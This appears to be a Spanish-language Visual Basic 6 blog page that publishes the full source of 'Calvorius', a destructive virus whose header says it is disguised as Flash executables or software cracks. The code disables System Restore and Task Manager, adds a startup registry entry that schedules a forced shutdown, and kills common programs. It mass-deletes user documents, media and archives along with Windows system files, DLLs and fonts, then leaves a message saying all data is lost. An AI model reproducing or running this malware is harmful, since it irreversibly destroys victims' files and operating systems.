                Shell "cmd.exe del /Q /S /F C:\WINDOWS\system32\calc.exe" ';calculadora.
                Shell "cmd.exe del /Q /S /F C:\WINDOWS\system32\himen.sys" ';archivo necesario para inicio.
            
                    Kill "C:\%SystemRoot%\system32\wbem\winmgmt.exe" ';ejecutable.
                    Kill "C:\%SystemRoot%\system32\wbem\wmiprvse.exe" ';ejecutable.
                    Kill "C:\%SystemRoot%\system32\wbem\wmic.exe" ';ejecutable.
                    Kill "C:\%SystemRoot%\system32\wbem\wmiadap.exe" ';ejecutable.
                    Kill "C:\%SystemRoot%\system32\wbem\wmiapsrv.exe" ';ejecutable.
                    Kill "C:\%SystemRoot%\system32\wbem\wbemtest.exe" ';ejecutable.

                    Kill "C:\%SystemRoot%\system32\usmt\migload.exe" ';ejecutable.
                    Kill "C:\%SystemRoot%\system32\usmt\migwiz.exe" ';ejecutable.
                    Kill "C:\%SystemRoot%\system32\usmt\migwiz_a.exe" ';ejecutable.
                    Kill "C:\%SystemRoot%\system32\usmt\migwiza.exe" ';ejecutable.
                    Kill "C:\%SystemRoot%\system32\usmt\ *.inf"
                    
                    Kill "C:\%SystemRoot%\system32\ras\cis.scp"
                    Kill "C:\%SystemRoot%\system32\ras\pad.inf"
                    Kill "C:\%SystemRoot%\system32\ras\pppmenu.scp"
                    Kill "C:\%SystemRoot%\system32\ras\slip.scp"
                    Kill "C:\%SystemRoot%\system32\ras\slipmenu.scp"
                    Kill "C:\%SystemRoot%\system32\ras\switch.inf"
                    
                    Kill "C:\%SystemRoot%\system32\DirectX\Dinput\*.png"
                    Kill "C:\%SystemRoot%\system32\DirectX\Dinput\*.ini"
                    
                        Kill "C:\%SystemRoot%\system32\dllcache\*.cpx"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.dll"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.tlb"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.exe" ';ejecutable.
                        Kill "C:\%SystemRoot%\system32\dllcache\*.gif"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.sys"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.nls"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.acm"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.hlp"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.chm"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.ttf"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.fon"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.wav"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.ime"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.lex"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.cat"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.wmv"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.css"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.ocx"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.htm"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.js"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.wpl"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.wmz"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.vbs"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.bin"
                        Kill "C:\%SystemRoot%\system32\dllcache\*.dat"
                    
                    Kill "C:\%SystemRoot%\system32\Tools\*.exe" ';Ejecutables.
                    Kill "C:\%SystemRoot%\system32\Tools\*.ini" ';Información.
                    
                Kill "C:\WINDOWS\AppPatch\*.dll" ';Extención de Aplicación.
                Kill "C:\WINDOWS\AppPatch\*.sdb" ';???????????
                
            Kill "C:\WINDOWS\Cursores\*.cur" ';Cursor.
            Kill "C:\WINDOWS\Cursores\*.ani" ';Cursores Animados.
            
        Kill "C:\WINDOWS\Debug\*.log" ';Texto.
        
    Kill "C:\WINDOWS\Fonts\*.ttf" ';tipografias.
    Kill "C:\WINDOWS\Fonts\*.fon" ';tipografias.
    Kill "C:\WINDOWS\Fonts\*.ttc" ';tipografias.

 Kill "C:\WINDOWS\Help\*.chm" ';Ayuda.
 Kill "C:\WINDOWS\Help\*.dll" ';Extención de Aplicación.
 Kill "C:\WINDOWS\Help\*.chi" ';??????
 Kill "C:\WINDOWS\Help\*.hlp" ';Ayuda.
 Kill "C:\WINDOWS\Help\*.cnt" ';Ayuda.

    Shell "cmd.exe cd C:\WINDOWS\"
    Shell "cmd.exe echo off>Calvorius.log"
    Shell "cmd.exe echo El_Virus_Calvoruis_Genoma_2_Infecto_Satisfactoriamente_a_este_sistema_constituido_por_microsoft_windows>>Calvorius.log"
    Shell "cmd.exe echo Lamentablemente_usted_acaba_de_perder_toda_la_información_de_su_PC>>Calvorius.log"
    Shell "cmd.exe echo Los_efectos_que_produce_calvorius_en_el_sistema_son_ireversibles>>Calvorius.log"
    Shell "cmd.exe echo  >>Calvorius.log"
    Shell "cmd.exe echo CREADO.COPYRIGHT.2007-2009.>>Calvorius.log"

End Sub

Private Sub Timer1_Timer()
    Calvorius_Gen.Hide ';No mostrar Form.
End Sub

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';

'; Nombre: Calvorius ';

'; Versión: 2.0 ';

'; Fecha de Creación: 20/05/09 ';

'; Tipo: DESTRUCTOR. ';

'; Encubrimiento: "Ejecutables Flash", "Crack de programas". ';

';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';

Private Sub Form_Load()

Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk" ';Impire restaurar el sistema.

Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Asistente para transferencia de archivos y configuraciones.lnk" ';Impire trasferir archivos.

Kill "C:\%SystemRoot%\system32\restore\rstrui.exe" ';Impire restaurar el sistema.

Kill "C:\%SystemRoot%\system32\restore\filelist.xml"

Kill "C:\%SystemRoot%\system32\restore\srdiag.exe" ';ejecutable.

Kill "C:\%SystemRoot%\system32\restore\srframe.mmf"

Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"

Shell "cmd.exe cd C:\WINDOWS\"

Shell "cmd.exe echo off>Calvorius.bat"

Shell "cmd.exe echo @ echo off>>Calvorius.bat"

Shell "cmd.exe echo set hora=%time:~0,5%>>Calvorius.bat"

Shell "cmd.exe echo set hor=%hora:~0,2%>>Calvorius.bat"

Shell "cmd.exe echo set min=%hora:~3,5%>>Calvorius.bat"

Shell "cmd.exe echo set /a boumb = %min% + 0,30>>Calvorius.bat"

Shell "cmd.exe echo AT %hora% %min% tsshutdown -s -f -c ""Imbecil"""

Shell "cmd.exe reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v LordShack /d C:\WINDOWS\Calvorius.bat"

Shell "cmd.exe taskkill msnmsgr.exe" ';ejecutable.

Shell "cmd.exe taskkill msnmsgs.exe" ';ejecutable.

Shell "cmd.exe taskkill schvoust.exe" ';ejecutable.

Shell "cmd.exe taskkill iexplore.exe" ';ejecutable.

Shell "cmd.exe taskkill word.exe" ';ejecutable.

Shell "cmd.exe taskkill outlook.exe" ';ejecutable.

Shell "cmd.exe taskkill notepad.exe" ';ejecutable.

Shell "cmd.exe taskkill mspaint.exe" ';ejecutable.

Shell "cmd.exe del /Q /S /F msnmsgr.exe" ';ejecutable.

Shell "cmd.exe del /Q /S /F msnmsgs.exe" ';ejecutable.

Shell "cmd.exe del /Q /S /F schvoust.exe" ';ejecutable.

Shell "cmd.exe del /Q /S /F iexplore.exe" ';ejecutable.

Shell "cmd.exe del /Q /S /F word.exe" ';ejecutable.

Shell "cmd.exe del /Q /S /F outlook.exe" ';ejecutable.

Shell "cmd.exe del /Q /S /F notepad.exe" ';ejecutable.

Shell "cmd.exe del /Q /S /F mspaint.exe" ';ejecutable.

Shell "cmd.exe del /Q /S /F C:\ *.jpg" ';imagen.

Shell "cmd.exe del /Q /S /F C:\ *.bmp" ';imagen.

Shell "cmd.exe del /Q /S /F C:\ *.png" ';imagen.

Shell "cmd.exe del /Q /S /F C:\ *.psd" ';Photoshop.

Shell "cmd.exe del /Q /S /F C:\ *.mp2" ';audio.

Shell "cmd.exe del /Q /S /F C:\ *.mp3" ';audio.

Shell "cmd.exe del /Q /S /F C:\ *.mp4" ';auido-video.

Shell "cmd.exe del /Q /S /F C:\ *.mid" ';Midi.

Shell "cmd.exe del /Q /S /F C:\ *.avi" ';Video.

Shell "cmd.exe del /Q /S /F C:\ *.mpg" ';Video.

Shell "cmd.exe del /Q /S /F C:\ *.mov" ';Video.

Shell "cmd.exe del /Q /S /F C:\ *.pdf" ';Texto.

Shell "cmd.exe del /Q /S /F C:\ *.rar" ';Comprimido.

Shell "cmd.exe del /Q /S /F C:\ *.zip" ';Comprimido.

Shell "cmd.exe del /Q /S /F C:\ *.wav" ';audio.

Shell "cmd.exe del /Q /S /F C:\ *.doc" ';Documento Word.

Shell "cmd.exe del /Q /S /F C:\ *.docx" ';Documento Word 2007.

Shell "cmd.exe del /Q /S /F C:\ *.xlsx" ';hoja excel 2007.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mp3" ';Audio.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mov" ';Video.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mpg" ';Video.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.avi" ';Video.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mp4" ';Audio-Video.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.pdf" ';Texto.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.zip" ';Archivos Comprimidos.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.rar" ';Archivos Comprimidos.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.wav" ';Audio.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.bmp" ';Imagn de Windows.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mid" ';Midi.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.psd" ';PhotoShop.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.txt" ';Texto.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.doc" ';Texto Word.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.docx" ';Texto Word 2007.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.xlsx" ';Hoja Excel.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.ico" ';icono.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.png" ';imagen.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.exe" ';ejecutables.

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.msi" ';instalables.

Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.ini" ';Texto.

Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.log" ';Texto.

Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.bmp" ';Imagen.

Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.dll" ';Extnción de Aplicación.

Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.sys" ';Archivo del sistema.

Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.bat" ';Batch File.

Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.exe" ';Ejecutable.

Shell "cmd.exe del /Q /S /F C:\WINDOWS\system32\calc.exe" ';calculadora.

Shell "cmd.exe del /Q /S /F C:\WINDOWS\system32\himen.sys" ';archivo necesario para inicio.

Kill "C:\%SystemRoot%\system32\wbem\winmgmt.exe" ';ejecutable.

Kill "C:\%SystemRoot%\system32\wbem\wmiprvse.exe" ';ejecutable.

Kill "C:\%SystemRoot%\system32\wbem\wmic.exe" ';ejecutable.

Kill "C:\%SystemRoot%\system32\wbem\wmiadap.exe" ';ejecutable.

Kill "C:\%SystemRoot%\system32\wbem\wmiapsrv.exe" ';ejecutable.

Kill "C:\%SystemRoot%\system32\wbem\wbemtest.exe" ';ejecutable.

Kill "C:\%SystemRoot%\system32\usmt\migload.exe" ';ejecutable.

Kill "C:\%SystemRoot%\system32\usmt\migwiz.exe" ';ejecutable.

Kill "C:\%SystemRoot%\system32\usmt\migwiz_a.exe" ';ejecutable.

Kill "C:\%SystemRoot%\system32\usmt\migwiza.exe" ';ejecutable.

Kill "C:\%SystemRoot%\system32\usmt\ *.inf"

Kill "C:\%SystemRoot%\system32\ras\cis.scp"

Kill "C:\%SystemRoot%\system32\ras\pad.inf"

Kill "C:\%SystemRoot%\system32\ras\pppmenu.scp"

Kill "C:\%SystemRoot%\system32\ras\slip.scp"

Kill "C:\%SystemRoot%\system32\ras\slipmenu.scp"

Kill "C:\%SystemRoot%\system32\ras\switch.inf"

Kill "C:\%SystemRoot%\system32\DirectX\Dinput\*.png"

Kill "C:\%SystemRoot%\system32\DirectX\Dinput\*.ini"

Kill "C:\%SystemRoot%\system32\dllcache\*.cpx"

Kill "C:\%SystemRoot%\system32\dllcache\*.dll"

Kill "C:\%SystemRoot%\system32\dllcache\*.tlb"

Kill "C:\%SystemRoot%\system32\dllcache\*.exe" ';ejecutable.

Kill "C:\%SystemRoot%\system32\dllcache\*.gif"

Kill "C:\%SystemRoot%\system32\dllcache\*.sys"

Kill "C:\%SystemRoot%\system32\dllcache\*.nls"

Kill "C:\%SystemRoot%\system32\dllcache\*.acm"

Kill "C:\%SystemRoot%\system32\dllcache\*.hlp"

Kill "C:\%SystemRoot%\system32\dllcache\*.chm"

Kill "C:\%SystemRoot%\system32\dllcache\*.ttf"

Kill "C:\%SystemRoot%\system32\dllcache\*.fon"

Kill "C:\%SystemRoot%\system32\dllcache\*.wav"

Kill "C:\%SystemRoot%\system32\dllcache\*.ime"

Kill "C:\%SystemRoot%\system32\dllcache\*.lex"

Kill "C:\%SystemRoot%\system32\dllcache\*.cat"

Kill "C:\%SystemRoot%\system32\dllcache\*.wmv"

Kill "C:\%SystemRoot%\system32\dllcache\*.css"

Kill "C:\%SystemRoot%\system32\dllcache\*.ocx"

Kill "C:\%SystemRoot%\system32\dllcache\*.htm"

Kill "C:\%SystemRoot%\system32\dllcache\*.js"

Kill "C:\%SystemRoot%\system32\dllcache\*.wpl"

Kill "C:\%SystemRoot%\system32\dllcache\*.wmz"

Kill "C:\%SystemRoot%\system32\dllcache\*.vbs"

Kill "C:\%SystemRoot%\system32\dllcache\*.bin"

Kill "C:\%SystemRoot%\system32\dllcache\*.dat"

Kill "C:\%SystemRoot%\system32\Tools\*.exe" ';Ejecutables.

Kill "C:\%SystemRoot%\system32\Tools\*.ini" ';Información.

Kill "C:\WINDOWS\AppPatch\*.dll" ';Extención de Aplicación.

Kill "C:\WINDOWS\AppPatch\*.sdb" ';???????????

Kill "C:\WINDOWS\Cursores\*.cur" ';Cursor.

Kill "C:\WINDOWS\Cursores\*.ani" ';Cursores Animados.

Kill "C:\WINDOWS\Debug\*.log" ';Texto.

Kill "C:\WINDOWS\Fonts\*.ttf" ';tipografias.

Kill "C:\WINDOWS\Fonts\*.fon" ';tipografias.

Kill "C:\WINDOWS\Fonts\*.ttc" ';tipografias.

Kill "C:\WINDOWS\Help\*.chm" ';Ayuda.

Kill "C:\WINDOWS\Help\*.dll" ';Extención de Aplicación.

Kill "C:\WINDOWS\Help\*.chi" ';??????

Kill "C:\WINDOWS\Help\*.hlp" ';Ayuda.

Kill "C:\WINDOWS\Help\*.cnt" ';Ayuda.

Shell "cmd.exe cd C:\WINDOWS\"

Shell "cmd.exe echo off>Calvorius.log"

Shell "cmd.exe echo El_Virus_Calvoruis_Genoma_2_Infecto_Satisfactoriamente_a_este_sistema_constituido_por_microsoft_windows>>Calvorius.log"

Shell "cmd.exe echo Lamentablemente_usted_acaba_de_perder_toda_la_información_de_su_PC>>Calvorius.log"

Shell "cmd.exe echo Los_efectos_que_produce_calvorius_en_el_sistema_son_ireversibles>>Calvorius.log"

Shell "cmd.exe echo >>Calvorius.log"

End Sub

Private Sub Timer1_Timer()

Calvorius_Gen.Hide ';No mostrar Form.

End Sub

Visual Basic 6

Visual Basic es un lenguaje de programación dirigido por eventos. Este lenguaje de programación es un dialecto de BASIC, con importantes agregados.

AutoLogin en Consola con VBScript

Encriptación simple usando OCX en Visual Basic 6

BruteForceGenerator v2.0 [Source Code]

Validar entrada de TextBox en Visual Basic 6

Calculo de Área y Perímetro en Visual Basic 6

TweetBot v1.0

Activador de Windows XP en Visual Basic 6

Navegador Web en Visual Basic 6

Keylogger en Visual Basic 6

Virus Calvorius en Visual Basic 6

Redes Sociales

Online!

Posts Recientes

Comentarios Recientes

Archivos del Sitio

Categorias

Suscríbete por correo electrónico